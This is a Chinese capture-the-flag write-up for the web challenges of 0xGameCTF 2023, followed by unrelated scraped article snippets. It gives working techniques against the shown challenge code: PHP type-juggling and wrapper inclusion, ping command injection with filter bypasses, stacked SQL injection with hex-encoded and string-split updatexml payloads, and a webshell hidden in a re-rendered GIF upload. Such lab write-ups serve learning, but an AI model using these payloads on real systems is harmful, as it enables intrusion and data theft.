[0xGameCTF 2023] web题解

news/2023/12/4 5:47:39

文章目录

  • [Week 1]
    • signin
    • baby_php
    • hello_http
    • repo_leak
    • ping
  • [Week 2]
    • ez_sqli
      • 方法一(十六进制绕过)
      • 方法二(字符串拼接)
    • ez_upload


[Week 1]

signin

打开题目,查看下js代码
在main.js里找到flag
在这里插入图片描述

baby_php

 <?php
// flag in flag.php
highlight_file(__FILE__);if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {$a = $_GET['a'];$b = $_GET['b'];$c = $_POST['c'];$name = $_COOKIE['name'];if ($a != $b && md5($a) == md5($b)) {if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {include($name.'.php');}}
}
?> 

简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议

得到flag
在这里插入图片描述

hello_http

就是一些基本的http请求知识
按照要求来,得到flag
在这里插入图片描述

repo_leak

打开题目,提示git泄露
在这里插入图片描述使用工具
先运行工具GitHack,再访问./.git/
在这里插入图片描述但是这里提取不到,要用到另外一个工具git_extract(python2环境,我这里两个版本都下了)
在这里插入图片描述然后在posts文件夹找到,得到flag
在这里插入图片描述

ping

打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
在这里插入图片描述访问一下,得到源码

 <?phpfunction sanitize($s) {$s = str_replace(';', '', $s);$s = str_replace(' ', '', $s);$s = str_replace('/', '', $s);$s = str_replace('flag', '', $s);return $s;
}if (isset($_GET['source'])) {highlight_file(__FILE__);die();
}if (!isset($_POST['ip'])) {die('No IP Address');
}$ip = $_POST['ip'];$ip = sanitize($ip);if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {die('Invalid IP Address');
}system('ping -c 4 '.$ip. ' 2>&1');?> 

分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过

bp抓包,添加命令得到flag
在这里插入图片描述

[Week 2]

ez_sqli

源码

from flask import Flask, render_template, request
import MySQLdb
import reblacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')app = Flask(__name__)@app.route('/')
def index():field = request.args.get('order', 'id')field = re.sub(r'\s+', '', field)for s in blacklist:if s.lower() in field.lower():return s + ' are banned'if not re.match(r"id|name|email", field):field = 'id'with conn.cursor() as cursor:cursor.execute('SELECT * FROM userinfo order by %s' % field)res = cursor.fetchall()return render_template('index.html', res=res)if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)

分析一下

  1. 首先是过滤了很多查询用的关键字
  2. 然后是禁用了空格,大小写绕过
  3. 上传参数值匹配id|name|email
  4. 最后就是查询语句cursor.execute('SELECT * FROM userinfo order by %s' % field)

这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句

set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;

由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;

方法一(十六进制绕过)

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

在这里插入图片描述然后查后面那一段

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;

十六进制绕过

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

得到后面一段flag
在这里插入图片描述

方法二(字符串拼接)

payload相同

id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;

也能得到flag
在这里插入图片描述

ez_upload

给了题目附件,我们主要看下upload源码

<?php
error_reporting(0);
session_start();$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';if (!file_exists($user_dir)) {mkdir($user_dir);
}switch ($_FILES['file']['type']) {case "image/gif":$source = imagecreatefromgif($_FILES['file']['tmp_name']);break;case "image/jpeg":$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);break;case "image/png":$source = imagecreatefrompng($_FILES['file']['tmp_name']);break;default:die('Invalid file type!');
}$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;switch ($_FILES['file']['type']) {case "image/gif":imagegif($source, $filepath);break;case "image/jpeg":imagejpeg($source, $filepath);break;case "image/png":imagepng($source, $filepath);break;default:die('Invalid file type!');
}echo 'Upload avatar success! Path: '.$filepath;$_SESSION['avatar'] = $filepath;
?>

简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
在这里插入图片描述然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
在这里插入图片描述
访问,命令执行得到flag
在这里插入图片描述


http://www.ppmy.cn/news/1156223.html

相关文章

英语——语法——从句——句型和句子成分——笔记

老师导言&#xff1a;易于理解。 三种句型&#xff1a;1、主系表&#xff1b;2.主谓*&#xff1b;3.there be 句型&#xff1a;句子构成的形式。句子用于相互沟通&#xff0c;需要表达自己意思&#xff0c;句子中就存在一个主语&#xff0c;一般对主语&#xff08;主要描述对象…

数据库事务及事务隔离级别

1.什么叫数据库事务? 事务:一组逻辑操作单元,使数据从一种状态变换到另一种状态. 一组逻辑操作单元:一个或多个DML操作. 2.事务处理的原则:保证所有事务都作为一个工作单元执行,即使出现了故障,都不能改变这种执行方式.当在一个事务中执行多个操作时,要么所有的操作都被提交(…

Linux 文件系统逻辑结构图的解释

task_struct进程结构体&#xff0c;表示一个运行的进程。 task_struct中的fs指向fs_struct结构体。fs_struct表示这个进程支持的文件系统。 root指向根目录dentry&#xff0c;dentry中的d_inode指向改进程根目录在存储设备中的inode节点。 pwd指向当前进程所在的目录结构体den…

网站如何应对网络流量攻击

网络安全问题中&#xff0c;受到流量攻击是一种常见挑战。以下是一系列的专业建议&#xff0c;帮助您预防和减轻这类攻击&#xff0c;从而确保您的网站和数据的安全。 使用 Web 应用程序防火墙 (WAF) Web 应用程序防火墙是一项专门的安全工具&#xff0c;能够检测和拦截恶意流…

MySQL 函数 索引 事务 管理

目录 一. 字符串相关的函数 二.数学相关函数 ​编辑 三.时间日期相关函数 date.sql 四.流程控制函数 centrol.sql 分页查询 使用分组函数和分组字句 group by 数据分组的总结 多表查询 自连接 子查询 subquery.sql 五.表的复制 六.合并查询 七.表的外连接 …

【MongoDB】MongoDB 的介绍和使用

1. 关系型与非关系型数据库 关系型数据库&#xff08;RDBMS&#xff09;和非关系型数据库&#xff08;NoSQL&#xff09;是两种不同类型的数据库管理系统。 关系型数据库是基于关系模型的数据库。它使用表&#xff08;关系&#xff09;来保存数据&#xff0c;并且通过事先定义…

苍穹外卖(八) 使用WebSocket协议完成来单提醒及客户催单功能

WebSocket介绍 WebSocket 是基于 TCP 的一种新的网络协议。它实现了浏览器与服务器全双工通信(双向传输)——浏览器和服务器只需要完成一次握手&#xff0c;两者之间就可以创建持久性的连接&#xff0c; 并进行双向数据传输。 HTTP协议和WebSocket协议对比&#xff1a; HTTP…

LeetCode Python List 类型

在使用 Python3 语言解答 LeetCode 题目时&#xff0c;预先写好的函数头中&#xff0c; 经常看到 List, 注意是大写的 L。例如经典的 two-sum 一题&#xff1a; class Solution:def twoSum(self, nums: List[int], target: int) -> List[int]:如果粘贴如上代码到 VSCode&…

连接mysql报错 :Host ‘xxx.xx.x.x‘ is not allowed to connect to this MySQL server

排查思路 命令行连接mysql 我是安装在本地docker容器中的&#xff0c;可以使用一下命令直接连接 docker exec -it mysqldb mysql -u root -p其中mysqldb是我的mysql容器名字&#xff0c;后面跟随mysql的连接命令&#xff0c;然后输入密码即可。 如果没有设置过密码&#xff0c…

AN基础工具——填色工具

【AN基础工具——填色工具】 基本使用方法填色补充给色块周围画上线 变色动画渐变变色的蜥蜴 本篇内容&#xff1a;填色动画制作 重点内容&#xff1a;填色工具 工 具&#xff1a;Adobe Animate 2022 基本使用方法 填色补充 之前说图形要封闭才能填色&#xff0c;实际情况是有…

2023年10月16日-10月22日,(光追+ue+osg继续按部就班进行即可。)

根据月计划&#xff0c; 本周计划如下&#xff1a; 2023年10月16日-10月22日&#xff0c;光追10.7-10.13&#xff0c;ue rpg(p47-p53),ue5底层渲染01A19-01B4,osg29,osg30,filament文档每天看 落实到天就是 2023年10月16日光追10.7&#xff0c;ue rpg(p47),ue5底层渲染01A19,o…

PHP家教系统平台源码/请家教兼职家教网源码/自适应手机端/实测

源码简介&#xff1a; PHP家教系统平台源码/请家教兼职家教网源码/自适应实测&#xff0c;它支持兼职家教和请家教两种模式。该程序提供了完整的功能&#xff0c;包括家教信息发布、家教需求发布、信息匹配、在线支付等。此外&#xff0c;该程序还可以自适应手机端&#xff0c…

Ceph分布式存储的简单介绍与Ceph集群的部署搭建

文章目录 1. 存储的概述1.1 单机存储设备1.1.1 DAS&#xff08;直接附加存储&#xff09;1.1.2 NAS&#xff08;网络附加存储&#xff09;1.1.3 SAN&#xff08;存储区域网络&#xff09; 1.2 单机存储的缺陷1.3 分布式存储&#xff08;软件定义的存储 SDS&#xff09;1.4 分布…

高压放大器在软体机器人领域的应用

软体机器人是一种新型机器人技术&#xff0c;与传统的硬体机器人有着很大的不同。软体机器人通常由柔软的材料制成&#xff0c;具有高度的柔韧性和灵活性&#xff0c;并且可以实现多种形状和动作。但是&#xff0c;软体机器人的发展面临很多技术挑战&#xff0c;其中之一就是控…

【计算机网络笔记】分组交换 vs 电路交换

系列文章目录 什么是计算机网络&#xff1f; 什么是网络协议&#xff1f; 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 系列文章目录 以一个具体的场景为例&#xff1a;N个用户共享这个1M bps链路。假设每一个用户活动时需要的链路带宽是100kb/s&#…

React添加文件路径时使用@符号代替src目录(非creae-react-app)

在其它项目中看到的可以用符号来代替src目录&#xff0c;那么在自己的react项目中也必须得尝试一下。本人的项目不是通过create-react-app脚手架来创建的&#xff0c;无法使用craco或者的方案来实现。 jsconfig.json配置 用的vscode进行开发&#xff0c;查看项目当中是否存在js…

使用paddleX体验

首先paddlex的网址链接是&#xff1a;飞桨AI Studio星河社区-人工智能学习与实训社区 (baidu.com) 进入paddlex以后的界面如下所示&#xff1a; 首先说明paddlex的作用是&#xff1a; PaddleX是PaddlePaddle深度学习框架的一个扩展库&#xff0c;专注于为深度学习任务提供强大…

【教程】使用vuepress构建静态文档网站,并部署到github上

官网 快速上手 | VuePress (vuejs.org) 构建项目 我们跟着官网的教程先构建一个demo 这里我把 vuepress-starter 这个项目名称换成了 howtolive 创建并进入一个新目录 mkdir howtolive && cd howtolive使用你喜欢的包管理器进行初始化 yarn init 这里的问题可以一…

P2607 [ZJOI2008] 骑士

P2607 [ZJOI2008] 骑士 [P2607 ZJOI2008] 骑士 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 文章目录 P2607 [ZJOI2008] 骑士题目大意思路code 题目大意 给你一个 n n n 个点&#xff0c; n n n 条边的基环树森林。 你可以从中选择若干个点&#xff0c;满足两两之间不存…

JS中判断某个字符串是否包含另一个字符串的五种方法

String对象的方法 方法一: indexOf() (推荐) 1 2 var str "123" console.log(str.indexOf("2") ! -1); // true indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。如果要检索的字符串值没有出现&#xff0c;则该方法返回 -1。 方…
最新文章